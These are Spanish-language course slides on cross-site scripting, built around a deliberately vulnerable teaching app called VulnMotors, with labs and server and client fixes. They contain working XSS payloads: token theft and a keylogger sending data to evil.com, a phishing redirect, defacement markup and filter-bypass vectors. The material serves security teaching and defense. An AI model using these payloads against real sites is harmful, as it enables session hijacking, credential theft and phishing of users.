

Módulo 2: Vulnerabilidades de Inyección

T05: Cross-Site Scripting (XSS)

Carlos Rodríguez Contreras · GitHub: karrocon

 *Injectar JavaScript en el navegador de otros usuarios — y robar su sesión*

Objetivos de hoy

- Distinguir XSS **almacenado**, **reflejado** y **DOM-based**
- Explotar comentarios y productos de VulnMotors con XSS
- Demostrar **robo de tokens** y **defacement** en tiempo real
- Entender por qué `<script>` falla pero `<img onerror>` no
- Implementar la **triple defensa**: sanitización + escapado + CSP

¿Qué es Cross-Site Scripting (XSS)?

Injectar código JavaScript que se ejecuta en el **navegador de OTRO usuario**.

```
<!-- El atacante publica esto -->
<img src=x onerror="
  fetch('https://evil.com/steal?t='
    + localStorage.getItem('token'))
">
```

Impacto:

Tipo	Ataque
	Robo de tokens/cookies
	Suplantación de identidad
	Phishing dentro de la web legítima
	Keylogging, crypto-mining
	Defacement (desfigurar la web)

 **SQLi ataca al servidor. XSS ataca a los USUARIOS.** Un XSS almacenado afecta a todos los visitantes de la página.

OWASP A03:2021 – Injection (XSS incluido)

XSS comparte categoría con SQLi en OWASP A03 porque ambos son **inyección de código**.

	SQL Injection	XSS
Objetivo	Servidor / BD	Cliente / Navegador
Víctima directa	La empresa	Los usuarios
Código inyectado	SQL	JavaScript / HTML
Dónde se ejecuta	Motor de BD	Navegador del visitante

💡 "SQLi es inyectar código donde se espera **datos para la BD**. XSS es inyectar código donde se espera **texto para la página**."

Los tres tipos de XSS

Tipo	Persistencia	Vector	Peligro
Stored (almacenado)	Se guarda en la BD	Comentarios, posts, perfiles	💀💀💀
Reflected (reflejado)	En la URL → respuesta	Parámetros de búsqueda	💀💀
DOM-based	Solo en el cliente (JS)	Manipulación de DOM vía URL	💀💀

💀 **Stored XSS** es el más peligroso: se ejecuta para **TODOS** los usuarios que visiten el contenido infectado, sin que hagan clic en nada. Un solo comentario malicioso puede comprometer miles de sesiones.

La cadena completa del ataque — Stored XSS

1. Atacante publica:
POST /comments {"content": ""}
2. Servidor GUARDA sin sanitizar:
INSERT INTO comments (content) VALUES ('')
3. Víctima visita la página:
GET /comments → JSON con el payload
4. Frontend RENDERIZA sin escapar:
el.innerHTML = `<div>\${comment.content}</div>`
————— ← EL PROBLEMA
5. Navegador ejecuta el JavaScript del atacante
→ Token robado, sesión comprometida

El código vulnerable en VulnMotors

Servidor — guarda sin sanitizar:

```
// src/routes/comments.ts
db.prepare(
  'INSERT INTO comments
  (user_id, content)
  VALUES (?, ?)'
).run(user_id, content);
// content = "<img src=x onerror=...>"
// Se guarda TAL CUAL X
```

Cliente — renderiza con `innerHTML`:

```
// src/public/index.html
comments.forEach(c => {
  html += `
    <div class="comment">
      <div class="text">
        ${c.content}
      </div>
    </div>`;
});
el.innerHTML = html; // ← 💀
```

💀 **DOS puntos de fallo:** ni se sanitiza al guardar, ni se escapa al renderizar.

¿Por qué `<script>` NO funciona pero `<img onerror>` SÍ?

```
<!-- X NO se ejecuta cuando se inserta vía innerHTML -->
<script>alert('XSS')</script>

<!-- ✓ SÍ se ejecuta siempre -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
```

💡 **Especificación HTML5:** cuando el navegador inserta `<script>` dinámicamente vía `innerHTML`, **NO lo ejecuta** (medida de seguridad). Pero `<img>` con `onerror` sí se ejecuta porque es un **handler de evento** del DOM, no un script en bloque.

Por eso en pentesting siempre se usa `<img onerror>` o `<svg onload>` como primer payload.

Payloads XSS – Del básico al avanzado

```
<!-- Nivel 1: Alerta (prueba de concepto) -->
<img src=x onerror="alert('XSS')">
<svg onload="alert(1)">

<!-- Nivel 2: Robo de token (localStorage) -->
<img src=x onerror="fetch('https://evil.com?t='+localStorage.getItem('token'))">

<!-- Nivel 3: Keylogger -->
<img src=x onerror="document.onkeypress=e=>fetch('https://evil.com?k='+e.key)">

<!-- Nivel 4: Defacement total -->
<div style="position:fixed;top:0;left:0;width:100vw;height:100vh;
  background:red;z-index:9999;display:flex;align-items:center;
  justify-content:center">
  <h1 style="color:white;font-size:5em">HACKEADO</h1>
</div>

<!-- Nivel 5: Redirect a phishing -->
<img src=x onerror="location='https://evil.com/fake-login'">
```

DOM-based XSS – El peligro invisible

El payload **nunca llega al servidor** – vive solo en el navegador.

```
// VulnMotors: el parámetro ?msg= se inyecta directamente  
const params = new URLSearchParams(location.search);  
if (params.get('msg')) {  
    alertBox.innerHTML = params.get('msg'); // ← 💀 DOM-XSS  
}
```

Ataque:

```
https://vulnapp-owasp-01.azurewebsites.net/?msg=<img src=x onerror=alert('DOM')>
```

Sources (fuentes de datos):

- `location.search` / `.hash`
- `document.referrer`
- `window.name`
- `postMessage`

Sinks (destinos peligrosos):

- `innerHTML` 💀
- `document.write()` 💀
- `eval()` 💀
- `setTimeout(string)` 💀

DOM-XSS en VulnMotors – Demo

URL maliciosa:

```
/?msg=<img src=x onerror="
  fetch('https://evil.com?t='
    +localStorage.getItem('token'))
">
```

El atacante envía este link a la víctima (email, chat, redes sociales).

¿Por qué es peligroso?

1. El dominio es **legítimo** (vulnapp...)
2. La víctima confía en el enlace
3. No hay registro en el servidor
4. Los WAF **NO lo detectan** porque el payload no pasa por el backend

⚠ La protección contra DOM-XSS requiere **validación en el cliente**. El servidor no puede ayudar.

XSS en VulnMotors – Superficie de ataque

Punto de inyección	Tipo	¿Dónde se ejecuta?
Comentarios (<code>POST /comments</code>)	Stored	Página de comentarios
Productos – description (<code>POST /products</code>)	Stored	Listado de coches Y vista detalle
Parámetro <code>?msg=</code> en URL	DOM-based	Alerta al cargar la página
Campo de registro (si muestra errores)	Reflected	Mensaje de error

💀 VulnMotors usa `innerHTML` en **cuatro sitios distintos** sin sanitizar: listado de coches, detalle del coche, comentarios, y alerta `?msg=`.

Impacto real: Token en localStorage

VulnMotors guarda el JWT en `localStorage`:

```
// Al hacer login:
localStorage.setItem('token', data.token);

// Al hacer peticiones:
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('token') }
```

💀 **Cualquier XSS puede leer `localStorage`** — a diferencia de las cookies `HttpOnly` que son inaccesibles desde JS. Si un atacante inyecta XSS almacenado, **todos los usuarios que visiten la página envían su token** al servidor del atacante sin saberlo.

Por eso nunca se debe guardar tokens sensibles en localStorage si hay riesgo de XSS.

Bypass de filtros — Técnicas avanzadas

```
<!-- Sin etiqueta <script> ni comillas -->
<img src=x onerror=alert(1)>

<!-- Encoding HTML entities -->
<img src=x onerror="&#97;lert(1)">

<!-- Case mixing (algunos filtros son case-sensitive) -->
<iMg sRc=x oNeRrOr="alert(1)">

<!-- Sin paréntesis (bypass de WAF) -->
<img src=x onerror="window.onerror=alert;throw 1">

<!-- Event handlers exóticos -->
<details open ontoggle="alert(1)">
<marquee onstart="alert(1)">

<!-- JavaScript URI -->
<a href="javascript:alert(1)">click</a>
```

⚠ **No basta con filtrar** `<script>`. Hay **cientos** de vectores XSS documentados. La defensa correcta es sanitizar TODO el HTML, no hacer blocklist.

Casos reales de XSS

Año	Plataforma	Vector	Impacto
2005	MySpace	Stored XSS en perfil	1M amigos añadidos en 20h (Samy worm)
2013	eBay	Reflected XSS en búsqueda	Redirección a phishing
2018	British Airways	XSS + skimmer JS	380K tarjetas robadas, multa £20M
2020	Gmail AMP4Email	DOM-XSS	Lectura de emails privados
2022	Uber	Stored XSS en soporte	Ejecución en panel de agentes

🧠 El **Samy worm** (2005) fue el primer gusano XSS: se propagaba solo con *visitar* un perfil infectado. MySpace tuvo que desconectar la plataforma para pararlo.

Fix 1: Sanitización en el servidor

```
import sanitizeHtml from 'sanitize-html';

// ✗ ANTES - guarda HTML malicioso tal cual
db.prepare('INSERT INTO comments (user_id, content) VALUES (?, ?)')
  .run(user_id, content);

// ✔ DESPUÉS - elimina TODO el HTML antes de guardar
const clean = sanitizeHtml(content, {
  allowedTags: [],           // ningún tag permitido
  allowedAttributes: {}     // ningún atributo permitido
});
db.prepare('INSERT INTO comments (user_id, content) VALUES (?, ?)')
  .run(user_id, clean);
```

✔ `sanitize-html` convierte `<img src=x onerror=alert(1)>` en texto vacío o en `<img...>` según la config. El ataque queda neutralizado **antes** de llegar a la BD.

Fix 2: Escapado en el cliente

```
// ❌ PELIGROSO - innerHTML interpreta HTML/JS
el.innerHTML = `

${comment.content}</div>`;

// ✅ SEGURO (opción A) - textContent NUNCA interpreta HTML
const div = document.createElement('div');
div.className = 'text';
div.textContent = comment.content; // se muestra como texto plano
container.appendChild(div);

// ✅ SEGURO (opción B) - DOMPurify elimina el código peligroso
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(comment.content);
// Permite <b>, <i>, <a> pero elimina onerror, scripts, etc.


```

✅ `textContent` es **100% seguro** — nunca interpreta HTML ni JavaScript. Es la forma más simple de mostrar texto de usuario.

Fix 3: Content Security Policy (CSP)

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
```

Directiva	Efecto	Ataque bloqueado
<code>script-src 'self'</code>	Solo scripts del mismo origen	Inline scripts, eval()
<code>default-src 'self'</code>	Bloquea recursos externos	<code>fetch('https://evil.com')</code>
<code>img-src 'self' data:</code>	Imágenes solo locales	<code></code>
<code>connect-src 'self'</code>	Solo AJAX al mismo origen	Exfiltración de datos

✓ **CSP no previene XSS, pero limita su impacto.** Aunque un atacante inyecte código, CSP puede impedir que envíe datos a servidores externos.

La triple defensa contra XSS

DEFENSA EN PROFUNDIDAD

- | | |
|---------------------|--|
| 1. INPUT (servidor) | <code>sanitize-html</code> al guardar |
| ↓ | |
| 2. OUTPUT (cliente) | <code>textContent</code> / <code>DOMPurify</code> al mostrar |
| ↓ | |
| 3. NAVEGADOR | CSP bloquea inline + fetch externo |
| ↓ | |
| 4. COOKIES | <code>HttpOnly</code> → JS no puede leerlas |
| ↓ | |
| 5. VALIDACIÓN | Rechazar HTML donde no se espera |

⚠ Aplica **al menos 2 capas**. Ninguna es perfecta sola.

Resumen — Lo que debes recordar

El ataque:

- XSS = inyectar JS en otros usuarios
- Stored > Reflected > DOM-based
- `<img onerror>` siempre funciona
- `innerHTML` es el sink más común
- localStorage es accesible desde XSS

La defensa:

- ☒ Sanitizar al guardar (sanitize-html)
- ☒ Escapar al mostrar (textContent)
- ☒ CSP restrictivo (script-src 'self')
- ☒ HttpOnly en cookies sensibles
- ☒ NUNCA `innerHTML` con datos de usuario

🧠 **Regla mnemotécnica:** Si ves `innerHTML =` seguido de algo que incluye input de usuario → es **vulnerable**. Usar `textContent` o `DOMPurify.sanitize()`.



Lab T05: XSS en VulnMotors

URL: `https://vulnapp-owasp-01.azurewebsites.net`

1. **Comentarios:** Publica `<img src=x onerror="alert('tu nombre')">` → ¿Se ejecuta?
2. **Defacement:** Publica un `<div>` con `position:fixed` que cubra toda la pantalla
3. **Productos:** Crea un coche con XSS en la descripción → ¿Se ejecuta en el listado? ¿Y en detalle?
4. **DOM-XSS:** Abre `/?msg=<img src=x onerror=alert('DOM')>` → sin BD, sin servidor
5. **Token theft:** Construye un payload que lea `localStorage.getItem('token')`
6. **Fix:** Aplica `sanitize-html` en el servidor + `textContent` en el cliente

⚠ No publicuéis redirects ni bucles infinitos. Si rompéis algo, avisad al profesor.